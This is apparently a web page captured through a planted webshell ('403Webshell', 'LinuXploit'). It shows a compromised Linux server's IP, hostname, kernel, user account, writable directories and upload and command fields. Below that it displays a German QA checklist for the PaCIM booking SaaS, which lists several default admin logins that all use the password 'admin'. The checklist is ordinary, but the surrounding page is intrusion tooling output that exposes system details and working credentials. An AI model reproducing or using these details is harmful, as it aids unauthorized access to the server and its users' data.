403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside2.pacim.de/web/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside2.pacim.de/web/docs/QA_CHECKLIST.md
# PaCIM SaaS · QA-Checkliste

Diese Liste deckt alle bisher gebauten Module ab und kann manuell durchgegangen werden, bevor die App auf einen Server gestellt wird.

> Standard-Logins: `admin@pacim.local` / `manager@pacim.local` / `checkin@pacim.local` / `accounting@pacim.local` – Passwort jeweils `admin`.

## 1. Authentifizierung & Rollen

- [ ] `/?page=login` zeigt das SaaS-Login-Formular.
- [ ] Login mit falschem Passwort: Fehlerhinweis, `users.failed_login_count` zählt hoch.
- [ ] Login mit `admin@pacim.local` / `admin` → Dashboard.
- [ ] Session-Timeout (2 h Inaktivität) führt zu erneutem Login.
- [ ] Logout-Link in der Dropdown-Navigation funktioniert.
- [ ] `audit log`: Login / login_failed / logout sichtbar in `history_log`.
- [ ] Manager sieht keine Benutzer- oder Settings-Links.
- [ ] Check-in-User sieht nur Tagesliste + Mobile Check-in.
- [ ] Buchhaltung sieht keine Bookings/Events/Products.
- [ ] Forbidden-Routen liefern 403-Seite.

## 2. Kunden CRUD

- [ ] Liste mit Suchfeld (live-search "customers") rendert.
- [ ] Neuer Kunde: Pflichtfelder validiert, Email-Unique erzwungen.
- [ ] Kunden bearbeiten und löschen.
- [ ] Live-Search im Kundenfeld zeigt Treffer als Overlay.

## 3. Events CRUD

- [ ] Liste mit Kapazitäten-Badges.
- [ ] Anlage prüft Start/Ende und Anreisefenster (logische Reihenfolge).
- [ ] Edit + Delete.

## 4. Produkte CRUD

- [ ] Liste mit Netto/MwSt/Brutto.
- [ ] Brutto wird live aus Netto + MwSt-Satz berechnet.
- [ ] Aktiv/Inaktiv-Schalter.

## 5. Buchung anlegen

- [ ] Wizard Schritt 1: bestehenden Kunden wählen oder neuen anlegen.
- [ ] Wizard Schritt 2: Event auswählen, Reisezeitraum aus Event übernehmen.
- [ ] Wizard Schritt 3: Produkte + Mengen + Live-Summe.
- [ ] Wizard Schritt 4: Zusammenfassung + **Dubletten-Hinweis**, falls gleiche Kombination existiert.
- [ ] Speichern erzeugt `booking_no` im Format `YY-#####`.
- [ ] Buchungsbestätigung wird automatisch in `storage/booking-confirmations/` abgelegt.
- [ ] Kennzeichen wird normalisiert gespeichert (z. B. `hh-ab1234` → `HH AB 1234`, `normalized_license_plate = HHAB1234`).

## 6. Zahlung erfassen

- [ ] Teilzahlung markiert Buchung als `partial`.
- [ ] Volle Zahlung markiert Buchung als `paid`.
- [ ] Bei vollständiger Zahlung wird automatisch eine Rechnung mit Nr. `RE-YYYY-####` erzeugt.
- [ ] Doppelte Rechnung wird verhindert (Hinweis, Redirect).
- [ ] Rechnung mit unbezahlter Buchung manuell erzeugen → verweigert.

## 7. Check-in / Check-out

- [ ] Check-in bei unbezahlter Buchung → blockiert mit Hinweis.
- [ ] Check-in bei bezahlter Buchung → `checkin_status = checked_in`, Audit-Eintrag.
- [ ] Check-out → `checkin_status = checked_out`, `status = completed`, Audit-Eintrag.
- [ ] Buchungsdetail zeigt Check-in-Zeit + Mitarbeiter.
- [ ] CSRF-Token wird geprüft (POST ohne Token → Redirect mit Fehler-Flash).

## 8. Tagesliste & Mobile

- [ ] `/arrivals` zeigt Anreisen, Sticky-Header funktioniert.
- [ ] Filter (Datum, Event, Produkt, Zahlung, Check-in, Kennzeichen, Kunde) funktionieren.
- [ ] Quick-Action-Buttons je Zeile passen zum Status.
- [ ] `/mobile-checkin` mit Plate-Suche, Check-in/-out per Touch-Button.
- [ ] Mobile Suche ist tolerant: `HRO AB 123`, `hro-ab-123`, `hroab123` finden dieselbe Buchung.

## 9. Excel/CSV Export

- [ ] `/arrivals/export-excel` liefert CSV (UTF-8 BOM, Semikolon) – PhpSpreadsheet fehlt im Standard-Setup.
- [ ] 20 Spalten korrekt, Datumsformate deutsch.
- [ ] Filter werden in den Export übernommen.

## 10. Kennzeichen-Schilder PDF

- [ ] `/arrivals/license-plates-pdf` öffnet A4-Druckansicht, 3 × 8 Schilder.
- [ ] Schneidelinien sichtbar, Druck-Button via Browser ⌘ + P liefert sauberen Output.
- [ ] Datei in `storage/license-plates/` archiviert.

## 11. Tagesabrechnung

- [ ] `/daily-closing` zeigt KPI-Karten und Aufschlüsselungen.
- [ ] Tagesabschluss speichern legt einen `daily_closings`-Snapshot an.
- [ ] Erneutes Speichern überschreibt den Snapshot (UNIQUE Key).
- [ ] PDF/HTML-Export öffnet sich neu im Browser.
- [ ] Excel-Export streamt CSV.

## 12. Reports

- [ ] `/reports` zeigt 4 KPI-Karten + 3 Chart.js-Charts.
- [ ] Daten aus echten Buchungen, nicht statisch.
- [ ] Top-Events-Tabelle korrekt sortiert.

## 13. Einstellungen

- [ ] `/settings` (nur Admin) zeigt Firma/Rechnung/SMTP/Logo/Check-in.
- [ ] Speichern aktualisiert `settings`-Tabelle (Audit-Eintrag).
- [ ] Logo-Upload akzeptiert PNG/JPG ≤ 5 MB, wird in `public/uploads/logos/` abgelegt.
- [ ] Nicht-Admin sieht Settings im Lesemodus (disabled).

## 14. Mail

- [ ] Testmail-Button: ohne PHPMailer wird HTML-Vorschau in `storage/mail-log/` abgelegt.
- [ ] Audit-Eintrag „Testmail an …" sichtbar.
- [ ] Buchungsbestätigung per Mail (Button im Buchungsdetail).
- [ ] Rechnung per Mail (Button im Rechnungsdetail) versendet inkl. Anhang.

## 15. Globale & Live-Suche

- [ ] Topbar-Suchfeld in jeder Maske vorhanden.
- [ ] Eingabe ≥ 2 Zeichen öffnet das Overlay mit max. 8 Treffern.
- [ ] Treffer in Buchungen/Kunden/Rechnungen/Events sichtbar mit farbigen Badges.
- [ ] Pfeiltasten navigieren, Enter öffnet Treffer, ESC schließt Overlay.
- [ ] Eingabe `hroab1234` findet `HH AB 1234`-Buchung trotz Schreibvarianten (Bindestrich, Leerzeichen, Punkte).
- [ ] Bei keinem Treffer wird „Meinten Sie …" mit Levenshtein-Vorschlägen angezeigt.
- [ ] `/?page=search&q=…` liefert vollständige Trefferseite.

## 16. Drucklayouts

- [ ] Buchungsbestätigung im Browser → Druck-Preview ohne Sidebar/Topbar.
- [ ] Rechnung Druck → ohne Sidebar, A4-tauglich.
- [ ] Kennzeichen-Schilder mit Schneidelinien.
- [ ] Tagesabschluss mit Unterschriftsfeldern.

## 17. Skripte

- [ ] `bash scripts/start.sh` startet MySQL, importiert Schema/Seed/Migrationen, fährt PHP auf :8092.
- [ ] `bash scripts/backup.sh` legt `backups/pacim-saas-YYYY-MM-DD-HHMM.sql` an.
- [ ] `bash scripts/backup.sh --with-storage` archiviert zusätzlich `storage/` + `public/uploads/`.
- [ ] `bash scripts/reset-demo.sh --yes` setzt die Datenbank inklusive Migrationen sauber zurück.
- [ ] `bash scripts/stop.sh` stoppt den PHP-Server.

## 18. Fehlerseiten & Logs

- [ ] `/?page=unknown-route` → 404-Seite.
- [ ] Forbidden Route → 403-Seite.
- [ ] Bewusst geworfene Exception → 500-Seite mit Detail-Toggle (Entwicklungsmodus).
- [ ] `storage/logs/app.log` enthält Errors/Exceptions im Klartext.

Youez - 2016 - github.com/yon3zu
LinuXploit